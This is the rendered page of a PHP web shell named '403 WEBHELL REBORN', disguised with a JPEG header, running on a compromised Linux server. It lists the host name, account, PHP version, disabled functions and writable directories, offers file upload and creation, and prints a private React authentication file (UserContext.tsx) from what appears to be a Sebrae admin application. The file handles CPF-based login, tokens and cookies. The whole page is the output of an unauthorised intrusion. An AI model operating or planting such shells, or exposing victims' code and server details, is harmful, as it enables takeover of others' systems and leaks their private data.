ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux cloud.heroica.com.br 4.18.0-553.36.1.el8_10.x86_64 #1 SMP Wed Jan 22 03:07:54 EST 2025 x86_64
User : farolpborg ( 1053)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /var/www/node_services/sebrae_test_admin/src/contexts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : //var/www/node_services/sebrae_test_admin/src/contexts/UserContext.tsx
import React, { createContext, useState, useEffect, type ReactNode  } from 'react';
import {destroyCookie , setCookie , parseCookies} from 'nookies';
import router from "../routes";
import setupapi from '../utils/setupApi.ts';


// Define user interface
interface User {
    id: string;
    email: string;
    name: string;
    role: string;
    active: boolean;
    createdAt?: string;
    updatedAt?: string;
    cpf?: string;
    telefone?: string;
    sexo?: string;
    datanasc?: string;
    escolaridade?: string;
    possuinomesocial?: boolean;
    nomesocial?: string;
}

// Define registration data interface
interface RegisterData {
    email: string;
    name: string;
    password: string;
    role?: string;
    active?: boolean;
    cpf?: string;
    telefone?: string;
    sexo?: string;
    datanasc?: string;
    escolaridade?: string;
    possuinomesocial?: boolean;
    nomesocial?: string;
}

// Define login data interface
interface LoginData {
    cpf: string;
    password: string;
}

// Define update user data interface
interface UpdateUserData {
    email?: string;
    name?: string;
    role?: string;
    active?: boolean;
}

// Define context interface
interface UserContextType {
    user: User | null;
    loading: boolean;
    error: string | null;
    login: (data: LoginData) => Promise<void>;
    register: (data: RegisterData) => Promise<void>;
    updateUser: (id: string, data: UpdateUserData) => Promise<void>;
    deleteUser: (id: string) => Promise<void>;
    logout: () => void;
    isAuthenticated:boolean
}

// Create context with default values
const UserContext = createContext<UserContextType>({
    user: null,
    loading: false,
    error: null,
    login: async () => {},
    register: async () => {},
    updateUser: async () => {},
    deleteUser: async () => {},
    logout: () => {},
    isAuthenticated:false
});

export const logout = async() => {

    localStorage.removeItem('@sebraeappvisita.user');
    localStorage.removeItem('@sebraeappvisita.token');
    destroyCookie(undefined,'@sebraeappvisita.token');

    await router.navigate('/login');

};

// Define provider props
interface UserProviderProps {
    children: ReactNode;
}

// API base URL


export const api = setupapi();
export const UserProvider: React.FC<UserProviderProps> = ({ children }) => {
    const [user, setUser] = useState<User | null>(null);
    const [loading, setLoading] = useState<boolean>(false);
    const [error, setError] = useState<string | null>(null);


    // Check for stored user on mount
    useEffect(() => {
        const {'@sebraeappvisita.token':token} = parseCookies();

        const storedUser = localStorage.getItem('@sebraeappvisita.user');
        if (token && storedUser) {
            try {
                setUser(JSON.parse(storedUser));
            } catch (err) {
                console.error('Error parsing stored user:', err);
                localStorage.removeItem('@sebraeappvisita.user');
            }
        }
    }, []);

    const isAuthenticated = (user != null)





    // Login function
    const login = async (data: LoginData) => {
        setLoading(true);
        setError(null);
        try {
            await api.post(`/user/login` ,
                {
                    cpf: data.cpf,
                    password: data.password
                }).then((response)=>{
                const userresponse = response.data;

                if (userresponse) {
                    setUser({
                        id: userresponse.id,
                        email: userresponse.email,
                        name: userresponse.name,
                        role: userresponse.role,
                        active: userresponse.active,
                        createdAt: userresponse.createdAt,
                        updatedAt: userresponse.updatedAt,
                    });
                    localStorage.setItem('@sebraeappvisita.user', JSON.stringify({
                        id: userresponse.id,
                        email: userresponse.email,
                        name: userresponse.name,
                        role: userresponse.role,
                        active: userresponse.active,
                        createdAt: userresponse.createdAt,
                        updatedAt: userresponse.updatedAt,
                    }));
                    localStorage.setItem('@sebraeappvisita.token', userresponse.token);

                    console.log('Login successful:', userresponse);

                    setCookie(undefined,'@sebraeappvisita.token' ,userresponse.token , {
                        maxAge:60*60*24*30,
                        path:'/'
                    });

                    api.defaults.headers['Authorization'] = `Bearer ${userresponse.token}`;

                } else {
                    throw new Error('Invalid username or password');
                }
            }).catch((err)=>{
                console.log('Login error:', err);
                throw new Error('Invalid username or password');
            });


        } catch (err) {
            console.log('Login error:', err);
            setError(err instanceof Error ? err.message : 'Failed to login');
            throw new Error('Invalid username or password');
        } finally {
            setLoading(false);
        }
    };

    // Register function
    const register = async (data: RegisterData) => {
        setLoading(true);
        setError(null);

        try {
            await api.post(`/user`, data);
            // Optionally auto-login after registration

        } catch (err: any) {
            console.error('Registration error:', err);
            setError(err.response?.data?.error || 'Failed to register');
        } finally {
            setLoading(false);
        }
    };

    // Update user function
    const updateUser = async (id: string, data: UpdateUserData) => {
        setLoading(true);
        setError(null);

        try {
            const response = await api.put(`/users/${id}`, data);

            // If updating the current user, update the state and localStorage
            if (user && user.id === id) {
                setUser(response.data);
                localStorage.setItem('@sebraeappvisita.user', JSON.stringify(response.data));
            }

            return response.data;
        } catch (err: any) {
            console.error('Update user error:', err);
            setError(err.response?.data?.error || 'Failed to update user');
            throw err;
        } finally {
            setLoading(false);
        }
    };

    // Delete user function
    const deleteUser = async (id: string) => {
        setLoading(true);
        setError(null);

        try {
            await api.delete(`/users/${id}`);

            // If deleting the current user, log them out
            if (user && user.id === id) {
                logout();
            }
        } catch (err: any) {
            console.error('Delete user error:', err);
            setError(err.response?.data?.error || 'Failed to delete user');
            throw err;
        } finally {
            setLoading(false);
        }
    };

    // Logout function


    return (
        <UserContext.Provider
            value={{
                user,
                loading,
                error,
                login,
                register,
                updateUser,
                deleteUser,
                logout,
                isAuthenticated
            }}
        >
            {children}
        </UserContext.Provider>
    );
};

// Custom hook for using the user context


export default UserContext;

Anon7 - 2021